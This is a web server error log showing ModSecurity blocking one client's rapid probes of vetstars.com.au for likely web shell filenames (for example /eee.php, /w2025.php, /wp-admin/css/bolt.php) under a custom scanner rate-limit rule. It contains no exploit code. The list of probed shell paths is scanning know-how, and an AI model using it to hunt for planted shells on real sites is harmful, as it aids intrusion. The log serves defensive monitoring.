[Sun Mar 29 18:59:31.924588 2026] [:error] [pid 32255:tid 32291] [client 51.103.28.129:55623] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eee.php"] [unique_id "ackGE2nfn-AtRoMbquyrpgAAAEA"]
[Sun Mar 29 18:59:33.232554 2026] [:error] [pid 23168:tid 23214] [client 51.103.28.129:24337] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eee.php"] [unique_id "ackGFWP8p0yRL8ot_29qcQAAAhE"]
[Sun Mar 29 18:59:34.790500 2026] [:error] [pid 23284:tid 23290] [client 51.103.28.129:25273] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "ackGFozBujdPHsq7wyQyXAAAAoQ"]
[Sun Mar 29 18:59:35.653453 2026] [:error] [pid 32257:tid 32324] [client 51.103.28.129:37215] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "ackGFyE3TArOFrUtgWrcCwAAAIY"]
[Sun Mar 29 18:59:36.845112 2026] [:error] [pid 32257:tid 32320] [client 51.103.28.129:27937] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "ackGGCE3TArOFrUtgWrcDwAAAII"]
[Sun Mar 29 18:59:39.048520 2026] [:error] [pid 32255:tid 32315] [client 51.103.28.129:55634] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "ackGG2nfn-AtRoMbquyrvAAAAFg"]
[Sun Mar 29 18:59:40.154203 2026] [:error] [pid 32255:tid 32293] [client 51.103.28.129:51053] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/swallowable.php"] [unique_id "ackGHGnfn-AtRoMbquyrxAAAAEI"]
[Sun Mar 29 18:59:41.413739 2026] [:error] [pid 23284:tid 23309] [client 51.103.28.129:36250] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/swallowable.php"] [unique_id "ackGHYzBujdPHsq7wyQyawAAApc"]
[Sun Mar 29 18:59:42.271360 2026] [:error] [pid 32257:tid 32334] [client 51.103.28.129:51012] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/swallowable.php"] [unique_id "ackGHiE3TArOFrUtgWrcGgAAAJA"]
[Sun Mar 29 18:59:43.226031 2026] [:error] [pid 32257:tid 32318] [client 51.103.28.129:59021] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/swallowable.php"] [unique_id "ackGHyE3TArOFrUtgWrcIwAAAIA"]
[Sun Mar 29 18:59:44.239014 2026] [:error] [pid 32257:tid 32334] [client 51.103.28.129:55224] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "ackGICE3TArOFrUtgWrcJQAAAJA"]
[Sun Mar 29 18:59:45.096359 2026] [:error] [pid 32257:tid 32335] [client 51.103.28.129:55187] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "ackGISE3TArOFrUtgWrcLgAAAJE"]
[Sun Mar 29 18:59:45.639029 2026] [:error] [pid 32255:tid 32297] [client 51.103.28.129:59065] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "ackGIWnfn-AtRoMbquyr2QAAAEY"]
[Sun Mar 29 18:59:46.364730 2026] [:error] [pid 23168:tid 23202] [client 51.103.28.129:4087] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "ackGImP8p0yRL8ot_29qjAAAAgU"]
[Sun Mar 29 18:59:47.131655 2026] [:error] [pid 32257:tid 32323] [client 51.103.28.129:55205] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "ackGIyE3TArOFrUtgWrcNQAAAIU"]
[Sun Mar 29 18:59:47.965733 2026] [:error] [pid 23250:tid 23256] [client 51.103.28.129:4075] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "ackGI5xrpj-dQjy1cvrowAAAAkQ"]
[Sun Mar 29 18:59:48.909822 2026] [:error] [pid 32257:tid 32340] [client 51.103.28.129:30196] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "ackGJCE3TArOFrUtgWrcQgAAAJY"]
[Sun Mar 29 18:59:49.523575 2026] [:error] [pid 32257:tid 32330] [client 51.103.28.129:24372] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "ackGJSE3TArOFrUtgWrcRQAAAIw"]
[Sun Mar 29 18:59:50.237460 2026] [:error] [pid 23284:tid 23307] [client 51.103.28.129:36237] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "ackGJozBujdPHsq7wyQybwAAApU"]
[Sun Mar 29 18:59:51.485420 2026] [:error] [pid 32255:tid 32314] [client 51.103.28.129:27943] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "ackGJ2nfn-AtRoMbquyr3wAAAFc"]
[Sun Mar 29 18:59:52.630824 2026] [:error] [pid 23168:tid 23220] [client 51.103.28.129:51036] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "ackGKGP8p0yRL8ot_29qkgAAAhc"]
[Sun Mar 29 18:59:53.523448 2026] [:error] [pid 8818:tid 8826] [client 51.103.28.129:51031] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "ackGKSCDvotZNSF0FBq-SgAAAUQ"]
[Sun Mar 29 18:59:54.345915 2026] [:error] [pid 23284:tid 23298] [client 51.103.28.129:37194] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "ackGKozBujdPHsq7wyQycgAAAow"]
[Sun Mar 29 18:59:55.826912 2026] [:error] [pid 32257:tid 32333] [client 51.103.28.129:60633] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "ackGKyE3TArOFrUtgWrcXAAAAI8"]
[Sun Mar 29 18:59:56.506539 2026] [:error] [pid 32257:tid 32339] [client 51.103.28.129:25231] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "ackGLCE3TArOFrUtgWrcXgAAAJU"]
[Sun Mar 29 18:59:57.547053 2026] [:error] [pid 23284:tid 23290] [client 51.103.28.129:19237] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "ackGLYzBujdPHsq7wyQyfAAAAoQ"]
[Sun Mar 29 18:59:58.757596 2026] [:error] [pid 32257:tid 32341] [client 51.103.28.129:3590] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "ackGLiE3TArOFrUtgWrcZQAAAJc"]
[Sun Mar 29 18:59:59.555947 2026] [:error] [pid 23284:tid 23310] [client 51.103.28.129:19243] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "ackGL4zBujdPHsq7wyQyggAAApg"]
[Sun Mar 29 19:00:00.754523 2026] [:error] [pid 32257:tid 32336] [client 51.103.28.129:4038] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "ackGMCE3TArOFrUtgWrcbAAAAJI"]
[Sun Mar 29 19:00:01.422793 2026] [:error] [pid 32257:tid 32341] [client 51.103.28.129:37239] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "ackGMSE3TArOFrUtgWrcbwAAAJc"]
[Sun Mar 29 19:00:02.283484 2026] [:error] [pid 32257:tid 32338] [client 51.103.28.129:16575] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "ackGMiE3TArOFrUtgWrccgAAAJQ"]
[Sun Mar 29 19:00:03.234983 2026] [:error] [pid 23284:tid 23292] [client 51.103.28.129:19249] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "ackGM4zBujdPHsq7wyQyiAAAAoY"]
[Sun Mar 29 19:00:04.263712 2026] [:error] [pid 23284:tid 23293] [client 51.103.28.129:58523] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "ackGNIzBujdPHsq7wyQyiwAAAoc"]
[Sun Mar 29 19:00:04.945538 2026] [:error] [pid 23284:tid 23290] [client 51.103.28.129:46313] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "ackGNIzBujdPHsq7wyQykAAAAoQ"]
[Sun Mar 29 19:00:05.858437 2026] [:error] [pid 32359:tid 32366] [client 51.103.28.129:29118] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "ackGNQMb8G3UzfQP3WgZvgAAAMU"]
[Sun Mar 29 19:00:07.031135 2026] [:error] [pid 23167:tid 23175] [client 51.103.28.129:33789] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "ackGNxIAHJCFaHff3_eZHwAAAcU"]
[Sun Mar 29 19:00:07.843493 2026] [:error] [pid 23250:tid 23267] [client 51.103.28.129:59002] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "ackGN5xrpj-dQjy1cvroxQAAAk8"]
[Sun Mar 29 19:00:08.646302 2026] [:error] [pid 23167:tid 23182] [client 51.103.28.129:58944] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "ackGOBIAHJCFaHff3_eZIgAAAcw"]
[Sun Mar 29 19:00:09.650086 2026] [:error] [pid 32255:tid 32295] [client 51.103.28.129:3594] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ackGOWnfn-AtRoMbquyr8AAAAEQ"]
[Sun Mar 29 19:00:10.749024 2026] [:error] [pid 8818:tid 8824] [client 51.103.28.129:33744] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ackGOiCDvotZNSF0FBq-VAAAAUI"]
[Sun Mar 29 19:00:12.447392 2026] [:error] [pid 32257:tid 32341] [client 51.103.28.129:60667] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ackGPCE3TArOFrUtgWrckgAAAJc"]
[Sun Mar 29 19:00:27.533996 2026] [autoindex:error] [pid 23284:tid 23290] [client 51.103.28.129:25733] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 29 19:00:59.787432 2026] [:error] [pid 23284:tid 23288] [client 51.103.28.129:25733] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1da.php"] [unique_id "ackGa4zBujdPHsq7wyQy2wAAAoI"]
[Sun Mar 29 19:01:00.691285 2026] [:error] [pid 8818:tid 8841] [client 51.103.28.129:24876] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1da.php"] [unique_id "ackGbCCDvotZNSF0FBq-eAAAAVM"]
[Sun Mar 29 19:01:01.455470 2026] [:error] [pid 23168:tid 23212] [client 51.103.28.129:17677] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1da.php"] [unique_id "ackGbWP8p0yRL8ot_29q4QAAAg8"]
[Sun Mar 29 19:01:02.526308 2026] [:error] [pid 23284:tid 23290] [client 51.103.28.129:38508] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1da.php"] [unique_id "ackGbozBujdPHsq7wyQy4QAAAoQ"]
[Sun Mar 29 19:01:15.967622 2026] [:error] [pid 23284:tid 23298] [client 51.103.28.129:58997] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cabs.php"] [unique_id "ackGe4zBujdPHsq7wyQzBwAAAow"]
[Sun Mar 29 19:01:28.779782 2026] [:error] [pid 32255:tid 32315] [client 51.103.28.129:42043] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "ackGiGnfn-AtRoMbquysvQAAAFg"]
[Sun Mar 29 19:01:30.473042 2026] [:error] [pid 23250:tid 23256] [client 51.103.28.129:23436] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "ackGipxrpj-dQjy1cvro3wAAAkQ"]
[Sun Mar 29 19:01:31.516582 2026] [:error] [pid 23168:tid 23201] [client 51.103.28.129:33764] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "ackGi2P8p0yRL8ot_29rEwAAAgQ"]
[Sun Mar 29 19:01:32.438295 2026] [:error] [pid 23284:tid 23297] [client 51.103.28.129:51621] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "ackGjIzBujdPHsq7wyQzQgAAAos"]
[Sun Mar 29 19:01:34.068456 2026] [:error] [pid 8818:tid 8822] [client 51.103.28.129:39394] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "ackGjiCDvotZNSF0FBq-kQAAAUA"]
[Sun Mar 29 19:01:34.929776 2026] [:error] [pid 23284:tid 23289] [client 51.103.28.129:60705] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "ackGjozBujdPHsq7wyQzTAAAAoM"]
[Sun Mar 29 19:01:35.710867 2026] [:error] [pid 23284:tid 23302] [client 51.103.28.129:23478] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "ackGj4zBujdPHsq7wyQzUAAAApA"]
[Sun Mar 29 19:01:36.527293 2026] [:error] [pid 32255:tid 32303] [client 51.103.28.129:60710] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "ackGkGnfn-AtRoMbquys0wAAAEw"]
[Sun Mar 29 19:01:37.351245 2026] [:error] [pid 23284:tid 23291] [client 51.103.28.129:32293] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "ackGkYzBujdPHsq7wyQzWgAAAoU"]
[Sun Mar 29 19:01:38.123000 2026] [:error] [pid 8818:tid 8843] [client 51.103.28.129:18886] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "ackGkiCDvotZNSF0FBq-mwAAAVU"]
